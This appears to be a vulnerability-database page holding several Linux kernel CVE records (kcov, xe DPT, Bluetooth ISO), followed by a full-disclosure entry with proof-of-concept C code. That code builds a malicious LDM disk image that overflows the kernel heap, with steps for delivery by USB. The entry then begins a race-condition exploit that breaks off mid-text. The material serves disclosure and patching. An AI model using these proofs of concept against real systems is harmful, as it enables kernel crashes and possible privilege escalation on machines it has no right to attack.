                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.154",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.106",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.47",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.1",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nkcov: fix data corruption and race conditions on PREEMPT_RT\n\nsyzbot is reporting KCOV state corruption on PREEMPT_RT kernels, for the\ntemporary storage used for saving/restoring remote KCOV state is currently\nallocated as the per-CPU area.\n\nOn PREEMPT_RT kernels, softirq handlers run as preemptible task threads\n(e.g., ksoftirqd). If a softirq context preempts a task running a remote\nKCOV session, it safely saves the task\u0027s state into the per-CPU area.\nHowever, if that softirq thread is subsequently preempted by a higher-\npriority softirq thread on the same CPU, the second softirq will overwrite\nthe same per-CPU area, permanently destroying the original task\u0027s KCOV\nstate.\n\nFix this data corruption by moving the temporary storage from the per-CPU\narea to the per-thread area. Since each softirq thread now owns its own\ntask context, nested softirq preemption no longer causes data overwrites.\n\nNote that while the temporary storage is now on a per-thread basis, the\nper-CPU kcov_percpu_data.lock must be retained, for we need to ensure that\nkcov_remote_start() and kcov_remote_stop() operate atomically without\nracing against asynchronous interrupts that manipulate the current task\u0027s\nKCOV state.\n\nIt is likely that GFP_KERNEL allocation by vmalloc_node() in kcov_init()\nhas already called panic() before returning NULL, for there will be no\nOOM-killable userspace processes when __init function of built-in module\nruns. But this patch also fixes crashing the kernel when vmalloc_node()\nin kcov_init() returned NULL, for kcov_init() left per-CPU irq_area == NULL\nbut kcov_remote_start() depends on per-CPU irq_area != NULL, resulting in\n\n  (1) doing vmalloc() in kcov_remote_start() despite !in_task() context\n\n  (2) out-of-array-bounds access if (1) succeeded but\n      kcov-\u003eremote_size \u003c CONFIG_KCOV_IRQ_AREA_SIZE\n\n  (3) always leak memory allocated by (1), eventually killing all\n      OOM-killable userspace processes\n\nproblems."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:14.587Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ef7048d8a614c5f5a9b20513a5428101a744514e"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ed3ddf23d39bf5338406bd9f8863d44748cf6ce"
        },
        {
          "url": "https://git.kernel.org/stable/c/5dc59fc959b2b5742985d7ef24bccd1868217dc2"
        },
        {
          "url": "https://git.kernel.org/stable/c/a2fb8222cde23b0001812ed3acb7c0ea36dd94e2"
        },
        {
          "url": "https://git.kernel.org/stable/c/18799e858b407bf355383c9dd6c06477aa437134"
        },
        {
          "url": "https://git.kernel.org/stable/c/e11f5b48c82703242a3be7a7ae4b4940b4cb4610"
        },
        {
          "url": "https://git.kernel.org/stable/c/22670d1552fe155822b2abf91f920925f7d067b4"
        },
        {
          "url": "https://git.kernel.org/stable/c/f8c9a3ec36b4ee3d4701b9be08f40e7bfbf89761"
        },
        {
          "url": "https://git.kernel.org/stable/c/2eed77fdcb0cc48e8eccb2bcd4b7f2c6d650e84c"
        }
      ],
      "title": "kcov: fix data corruption and race conditions on PREEMPT_RT",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80916",
    "datePublished": "2026-09-09T16:13:14.587Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:14.587Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80915 (GCVE-0-2026-80915)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    drm/xe: Fix DPT allocation paths.
    Summary
    In the Linux kernel, the following vulnerability has been resolved: drm/xe: Fix DPT allocation paths. Remove the fallback for VRAM to system memory, I tested it and that doesn't work at all, only a black screen with pipe fault errors were observed. On systems with media GT, extra latency is added when accessing stolen memory when the GT is in MC6. Since we additionally aren't counting how much memory is used for stolen and we could in theory fill up the entire stolen area with DPT's, avoid using stolen and only use the default memory region. Using stolen may also result in random system hangs under load. (cherry picked from commit a196406a3831291598fe8e73245914f7acffdfe0)
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 775d0adc01a55fe0458139330415d86bb3533efe , < 491c499295fb0b90308b230b0a1075dcdf7f4d12 (git)
    Affected: 775d0adc01a55fe0458139330415d86bb3533efe , < f03415030579163f791c978741af7f1f2f6510b7 (git)
    Affected: 775d0adc01a55fe0458139330415d86bb3533efe , < c457e2c845ccbf2224386029f3da4937ba424db0 (git)
    Affected: 775d0adc01a55fe0458139330415d86bb3533efe , < fc648757908304aedbad74f74bf58192aec383db (git)
    Affected: 4854ac2f88e2168ee4da2b152c6711772a8149aa (git)
    Affected: 6.11.3 , < 6.12 (semver)
    		Create a notification for this product.
    Linux Linux Affected: 6.12
    Unaffected: 0 , < 6.12 (semver)
    Unaffected: 6.12.106 , ≤ 6.12.* (semver)
    Unaffected: 6.18.47 , ≤ 6.18.* (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
    Unaffected: 7.2 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/xe/display/xe_fb_pin.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "491c499295fb0b90308b230b0a1075dcdf7f4d12",
              "status": "affected",
              "version": "775d0adc01a55fe0458139330415d86bb3533efe",
              "versionType": "git"
            },
            {
              "lessThan": "f03415030579163f791c978741af7f1f2f6510b7",
              "status": "affected",
              "version": "775d0adc01a55fe0458139330415d86bb3533efe",
              "versionType": "git"
            },
            {
              "lessThan": "c457e2c845ccbf2224386029f3da4937ba424db0",
              "status": "affected",
              "version": "775d0adc01a55fe0458139330415d86bb3533efe",
              "versionType": "git"
            },
            {
              "lessThan": "fc648757908304aedbad74f74bf58192aec383db",
              "status": "affected",
              "version": "775d0adc01a55fe0458139330415d86bb3533efe",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "4854ac2f88e2168ee4da2b152c6711772a8149aa",
              "versionType": "git"
            },
            {
              "lessThan": "6.12",
              "status": "affected",
              "version": "6.11.3",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/xe/display/xe_fb_pin.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.12"
            },
            {
              "lessThan": "6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.47",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.2",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.106",
                  "versionStartIncluding": "6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.47",
                  "versionStartIncluding": "6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2",
                  "versionStartIncluding": "6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.11.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe: Fix DPT allocation paths.\n\nRemove the fallback for VRAM to system memory, I tested it and that\ndoesn\u0027t work at all, only a black screen with pipe fault errors were\nobserved.\n\nOn systems with media GT, extra latency is added when accessing stolen\nmemory when the GT is in MC6. Since we additionally aren\u0027t counting how\nmuch memory is used for stolen and we could in theory fill up the\nentire stolen area with DPT\u0027s, avoid using stolen and only use the\ndefault memory region.\n\nUsing stolen may also result in random system hangs under load.\n\n(cherry picked from commit a196406a3831291598fe8e73245914f7acffdfe0)"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:13.979Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/491c499295fb0b90308b230b0a1075dcdf7f4d12"
        },
        {
          "url": "https://git.kernel.org/stable/c/f03415030579163f791c978741af7f1f2f6510b7"
        },
        {
          "url": "https://git.kernel.org/stable/c/c457e2c845ccbf2224386029f3da4937ba424db0"
        },
        {
          "url": "https://git.kernel.org/stable/c/fc648757908304aedbad74f74bf58192aec383db"
        }
      ],
      "title": "drm/xe: Fix DPT allocation paths.",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80915",
    "datePublished": "2026-09-09T16:13:13.979Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:13.979Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80914 (GCVE-0-2026-80914)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:10 – Updated: 2026-09-09 16:10
    VLAI
    Title
    Bluetooth: ISO: fix use-after-free of listener socket in iso_conn_ready
    Summary
    In the Linux kernel, the following vulnerability has been resolved: Bluetooth: ISO: fix use-after-free of listener socket in iso_conn_ready iso_conn_ready() looks up the BIS listener socket with iso_get_sock(), which takes a reference, and then, without re-checking its state, creates a child socket from it: parent = iso_get_sock(hdev, ...); if (!parent) return; lock_sock(parent); sk = iso_sock_alloc(sock_net(parent), NULL, BTPROTO_ISO, ...); ... iso_chan_add(conn, sk, parent); ... release_sock(parent); sock_put(parent); If the listener socket is closed concurrently, between iso_get_sock() and lock_sock(), the reference taken by iso_get_sock() may be the last one: the close path drops the link-list reference, and once iso_conn_ready() drops its own reference at the end of the function the socket is freed. The child socket, however, is already linked to the freed parent, and a later disconnect of the child runs iso_chan_del() -> bt_accept_unlink(), which dereferences the dangling parent pointer into the freed accept queue (a use-after-free). The same dangling pointer is also dereferenced through parent->***() in iso_chan_del(). Fix it the same way the connected (non-BIS) path was fixed in commit 0d255e63fcf3 ("Bluetooth: ISO: hold sk properly in iso_conn_ready"): after taking the socket lock, re-check that the parent is still a listening, alive socket, and bail out otherwise.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: ccf74f2390d60a2f9a75ef496d2564abb478f46a , < 2387cd06a2c0b416f05028b02bba1089f54c28d9 (git)
    Affected: ccf74f2390d60a2f9a75ef496d2564abb478f46a , < 49fd7116f76b860b230843700fb7423ab5331e1f (git)
    Affected: ccf74f2390d60a2f9a75ef496d2564abb478f46a , < 03288b7447c9e572f8ab82fc29cfb4ca719ab210 (git)
    Affected: ccf74f2390d60a2f9a75ef496d2564abb478f46a , < 560bef609fa5992745929e8d7d458b9d88dd2830 (git)
    		Create a notification for this product.
    Linux Linux Affected: 6.0
    Unaffected: 0 , < 6.0 (semver)
    Unaffected: 6.12.109 , ≤ 6.12.* (semver)
    Unaffected: 6.18.50 , ≤ 6.18.* (semver)
    Unaffected: 7.2.4 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/iso.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2387cd06a2c0b416f05028b02bba1089f54c28d9",
              "status": "affected",
              "version": "ccf74f2390d60a2f9a75ef496d2564abb478f46a",
              "versionType": "git"
            },
            {
              "lessThan": "49fd7116f76b860b230843700fb7423ab5331e1f",
              "status": "affected",
              "version": "ccf74f2390d60a2f9a75ef496d2564abb478f46a",
              "versionType": "git"
            },
            {
              "lessThan": "03288b7447c9e572f8ab82fc29cfb4ca719ab210",
              "status": "affected",
              "version": "ccf74f2390d60a2f9a75ef496d2564abb478f46a",
              "versionType": "git"
            },
            {
              "lessThan": "560bef609fa5992745929e8d7d458b9d88dd2830",
              "status": "affected",
              "version": "ccf74f2390d60a2f9a75ef496d2564abb478f46a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/iso.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.0"
            },
            {
              "lessThan": "6.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.109",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.50",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.109",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.50",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.4",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "6.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: fix use-after-free of listener socket in iso_conn_ready\n\niso_conn_ready() looks up the BIS listener socket with iso_get_sock(),\nwhich takes a reference, and then, without re-checking its state,\ncreates a child socket from it:\n\n    parent = iso_get_sock(hdev, ...);\n    if (!parent)\n        return;\n\n    lock_sock(parent);\n    sk = iso_sock_alloc(sock_net(parent), NULL, BTPROTO_ISO, ...);\n    ...\n    iso_chan_add(conn, sk, parent);\n    ...\n    release_sock(parent);\n    sock_put(parent);\n\nIf the listener socket is closed concurrently, between iso_get_sock()\nand lock_sock(), the reference taken by iso_get_sock() may be the last\none: the close path drops the link-list reference, and once\niso_conn_ready() drops its own reference at the end of the function the\nsocket is freed.  The child socket, however, is already linked to the\nfreed parent, and a later disconnect of the child runs iso_chan_del()\n-\u003e bt_accept_unlink(), which dereferences the dangling parent pointer\ninto the freed accept queue (a use-after-free).  The same dangling\npointer is also dereferenced through parent-\u003e***() in\niso_chan_del().\n\nFix it the same way the connected (non-BIS) path was fixed in commit\n0d255e63fcf3 (\"Bluetooth: ISO: hold sk properly in iso_conn_ready\"):\nafter taking the socket lock, re-check that the parent is still a\nlistening, alive socket, and bail out otherwise."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:10:58.675Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2387cd06a2c0b416f05028b02bba1089f54c28d9"
        },
        {
          "url": "https://git.kernel.org/stable/c/49fd7116f76b860b230843700fb7423ab5331e1f"
        },
        {
          "url": "https://git.kernel.org/stable/c/03288b7447c9e572f8ab82fc29cfb4ca719ab210"
        },
        {
          "url": "https://git.kernel.org/stable/c/560bef609fa5992745929e8d7d458b9d88dd2830"
        }
      ],
      "title": "Bluetooth: ISO: fix use-after-free of listener socket in iso_conn_ready",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80914",
    "datePublished": "2026-09-09T16:10:58.675Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:10:58.675Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    GCVE-1988-2025-0001

    Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:11
    VLAI
    Title
    Linux Kernel Block Subsystem Vulnerabilities
    Summary
    ================================================================================ FULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities Date: 2025-12-29 Affected: Linux Kernel (all versions with affected code) ================================================================================ ================================================================================ [1/4] Integer Overflow in LDM Partition Parser - Heap Overflow ================================================================================ VULNERABILITY SUMMARY --------------------- Type: Integer Overflow leading to Heap Buffer Overflow File: block/partitions/ldm.c:1247 Severity: HIGH (7.8 CVSS) Impact: Local privilege escalation, kernel code execution Attack Vector: Malicious disk image / USB device TECHNICAL DETAILS ----------------- The LDM (Logical Disk Manager) partition parser contains an integer overflow vulnerability in the VBLK fragment reassembly code. When parsing Windows dynamic disks, the kernel allocates a buffer using: f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL); Where both 'size' and 'num' are attacker-controlled 16-bit values read from the disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows: 0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit) sizeof(*f) + 0xFFFE0001 = small allocation The kernel allocates a small buffer but later writes up to 64KB of data into it, causing a heap buffer overflow. AFFECTED CODE (block/partitions/ldm.c) -------------------------------------- Line 1247: f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL); Line 461 (bounds check also vulnerable): if ((vm->vblk_size * vm->vblk_offset) > 65536) { PROOF OF CONCEPT ---------------- /* * ldm_overflow_poc.c - LDM Integer Overflow PoC * Creates a malicious disk image triggering the overflow * * Compile: gcc -o ldm_poc ldm_overflow_poc.c * Usage: ./ldm_poc output.img && losetup /dev/loop0 output.img * * WARNING: This WILL crash/corrupt your kernel. Use in VM only. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <fcntl.h> #include <unistd.h> /* LDM structures */ #define LDM_MAGIC "PRIVHEAD" #define VBLK_MAGIC "VBLK" struct ldm_privhead { char magic[8]; uint32_t version; uint64_t disk_id; char host_id[64]; char disk_group_id[64]; char disk_group_name[32]; uint32_t logical_disk_start; uint32_t logical_disk_size; uint32_t config_start; uint32_t config_size; uint32_t num_tocs; uint32_t toc_size; uint32_t num_configs; uint32_t config_record_size; uint32_t num_logs; uint32_t log_size; } __attribute__((packed)); struct ldm_vmdb { char magic[4]; /* "VMDB" */ uint32_t last_seq; uint32_t vblk_size; /* Controlled - use 0xFFFF */ uint32_t vblk_offset; /* Controlled - use 0xFFFF */ uint16_t num_vblks; /* ... */ } __attribute__((packed)); struct ldm_vblk_head { char magic[4]; /* "VBLK" */ uint32_t seq; uint32_t group; uint16_t rec_num; /* Fragment number */ uint16_t num_recs; /* Total fragments - use large value */ /* ... */ } __attribute__((packed)); void create_malicious_ldm_image(const char *filename) { int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); exit(1); } /* Create 2MB sparse image */ ftruncate(fd, 2 * 1024 * 1024); /* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */ struct ldm_privhead privhead = {0}; memcpy(privhead.magic, LDM_MAGIC, 8); privhead.version = 0x0002000C; /* Version 2.12 */ privhead.config_start = 1; privhead.config_size = 2048; lseek(fd, 6 * 512, SEEK_SET); write(fd, &privhead, sizeof(privhead)); /* Write VMDB with overflow values */ struct ldm_vmdb vmdb = {0}; memcpy(vmdb.magic, "VMDB", 4); vmdb.vblk_size = 0xFFFF; /* OVERFLOW VALUE */ vmdb.vblk_offset = 0xFFFF; /* OVERFLOW VALUE */ vmdb.num_vblks = 100; lseek(fd, 8 * 512, SEEK_SET); /* VMDB location */ write(fd, &vmdb, sizeof(vmdb)); /* Write VBLK fragments that trigger reassembly overflow */ struct ldm_vblk_head vblk = {0}; memcpy(vblk.magic, VBLK_MAGIC, 4); vblk.seq = 1; vblk.group = 1; vblk.rec_num = 0; vblk.num_recs = 0xFFFF; /* Large fragment count */ /* Write multiple fragments to trigger reassembly */ for (int i = 0; i < 10; i++) { vblk.rec_num = i; lseek(fd, (16 + i) * 512, SEEK_SET); write(fd, &vblk, sizeof(vblk)); /* Fill rest of sector with controlled data */ char payload[512 - sizeof(vblk)]; memset(payload, 'A', sizeof(payload)); write(fd, payload, sizeof(payload)); } close(fd); printf("[+] Created malicious LDM image: %s\n", filename); printf("[!] WARNING: Mounting this image WILL crash the kernel\n"); } int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, "Usage: %s <output.img>\n", argv[0]); return 1; } create_malicious_ldm_image(argv[1]); printf("\nReproduction steps:\n"); printf("1. Copy image to target VM\n"); printf("2. sudo losetup /dev/loop0 %s\n", argv[1]); printf("3. sudo partprobe /dev/loop0 # TRIGGERS CRASH\n"); printf("\nOr:\n"); printf("1. Write image to USB drive\n"); printf("2. Plug USB into target machine\n"); printf("3. Kernel auto-probes partitions -> CRASH\n"); return 0; } REPRODUCTION STEPS ------------------ 1. Compile the PoC on any Linux system: $ gcc -o ldm_poc ldm_overflow_poc.c 2. Create the malicious image: $ ./ldm_poc malicious.img 3. In a VM (DO NOT RUN ON PRODUCTION): $ sudo losetup /dev/loop0 malicious.img $ sudo partprobe /dev/loop0 4. Kernel will crash with heap corruption Alternative (USB attack vector): 1. Write malicious.img to USB drive: $ sudo dd if=malicious.img of=/dev/sdX bs=1M 2. Plug USB into target machine 3. Kernel crashes during automatic partition probing IMPACT ------ - Heap buffer overflow with controlled size and data - Kernel code execution possible via heap spray - Physical access attack via malicious USB - No user interaction required (auto-probe) SUGGESTED FIX ------------- Replace vulnerable allocation with overflow-safe version: - f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL); + if (check_mul_overflow(size, num, &alloc_size) || + check_add_overflow(alloc_size, sizeof(*f), &alloc_size)) { + ldm_error("VBLK allocation overflow"); + return false; + } + f = kmalloc(alloc_size, GFP_KERNEL); ================================================================================ [2/4] Request Queue Reference Counting Race Condition ================================================================================ VULNERABILITY SUMMARY --------------------- Type: TOCTOU Race Condition / Use-After-Free File: block/blk-core.c:278-284 Severity: MEDIUM (5.5 CVSS) Impact: Kernel crash, potential privilege escalation Attack Vector: Local, requires timing TECHNICAL DETAILS ----------------- The blk_get_queue() function has a time-of-check to time-of-use (TOCTOU) race condition between checking if the queue is dying and incrementing the reference count: bool blk_get_queue(struct request_queue *q) { if (unlikely(blk_queue_dying(q))) // CHECK return false; refcount_inc(&q->refs); // USE - race window! return true; } Between the check and the increment, another CPU can complete queue teardown, decrement refs to 0, and free the structure. The subsequent refcount_inc() then operates on freed memory. AFFECTED CODE (block/blk-core.c) -------------------------------- Lines 278-284: bool blk_get_queue(struct request_queue *q) { if (unlikely(blk_queue_dying(q))) return false; refcount_inc(&q->refs); // Should be refcount_inc_not_zero return true; } PROOF OF CONCEPT ---------------- /* * blk_queue_race_poc.c - Request Queue Race Condition PoC * * This PoC demonstrates the TOCTOU race in blk_get_queue(). * Requires root and a removable block device (USB/loop). * * Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c * Usage: sudo ./queue_race /dev/loop0 */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <sys/ioctl.h> #include <linux/loop.h> #include <linux/fs.h> #include <errno.h> #include <sched.h> #define NUM_RACERS 4 #define ITERATIONS 100000 static volatile int race_running = 1; static char *loop_device; static char *backing_file; /* Thread that repeatedly opens the block device */ void *opener_thread(void *arg) { int cpu = (int)(long)arg; cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(cpu % 4, &cpuset); pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset); while (race_running) { int fd = open(loop_device, O_RDONLY | O_NONBLOCK); if (fd >= 0) { /* Perform I/O to exercise queue paths */ char buf[512]; read(fd, buf, sizeof(buf)); close(fd); } /* Tight loop to maximize race window hits */ } return NULL; } /* Thread that repeatedly detaches/attaches loop device */ void *detacher_thread(void *arg) { int loop_ctl_fd = open("/dev/loop-control", O_RDWR); int backing_fd = -1; while (race_running) { /* Get a free loop device number */ int loop_fd = open(loop_device, O_RDWR); if (loop_fd >= 0) { /* Detach - triggers queue dying state */ ioctl(loop_fd, LOOP_CLR_FD, 0); close(loop_fd); } usleep(100); /* Small delay */ /* Reattach */ loop_fd = open(loop_device, O_RDWR); backing_fd = open(backing_file, O_RDWR); if (loop_fd >= 0 && backing_fd >= 0) { ioctl(loop_fd, LOOP_SET_FD, backing_fd); close(backing_fd); close(loop_fd); } usleep(100); } close(loop_ctl_fd); return NULL; } /* Thread that submits I/O to exercise blk_get_queue paths */ void *io_submitter_thread(void *arg) { while (race_running) { int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK); if (fd >= 0) { void *buf; posix_memalign(&buf, 512, 4096); /* Submit I/O - internally calls blk_get_queue */ pread(fd, buf, 4096, 0); free(buf); close(fd); } } return NULL; } int main(int argc, char **argv) { pthread_t openers[NUM_RACERS]; pthread_t submitters[NUM_RACERS]; pthread_t detacher; if (argc != 3) { fprintf(stderr, "Usage: %s <loop_device> <backing_file>\n", argv[0]); fprintf(stderr, "Example: %s /dev/loop0 /tmp/test.img\n", argv[0]); return 1; } loop_device = argv[1]; backing_file = argv[2]; /* Create backing file if needed */ int bf = open(backing_file, O_RDWR | O_CREAT, 0644); if (bf >= 0) { ftruncate(bf, 10 * 1024 * 1024); /* 10MB */ close(bf); } /* Initial loop setup */ int loop_fd = open(loop_device, O_RDWR); int back_fd = open(backing_file, O_RDWR); if (loop_fd >= 0 && back_fd >= 0) { ioctl(loop_fd, LOOP_SET_FD, back_fd); close(back_fd); close(loop_fd); } printf("[*] Starting race condition PoC\n"); printf("[*] Target: %s\n", loop_device); printf("[*] This may take a while or crash the kernel...\n"); /* Start racer threads */ for (int i = 0; i < NUM_RACERS; i++) { pthread_create(&openers[i], NULL, opener_thread, (void*)(long)i); pthread_create(&submitters[i], NULL, io_submitter_thread, (void*)(long)i); } pthread_create(&detacher, NULL, detacher_thread, NULL); /* Run for a
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Kernel Block Affected: unknown
    		Create a notification for this product.
    Credits
    Agent Spooky's Fun Parade via Fulldisclosure
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linux Kernel Block",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
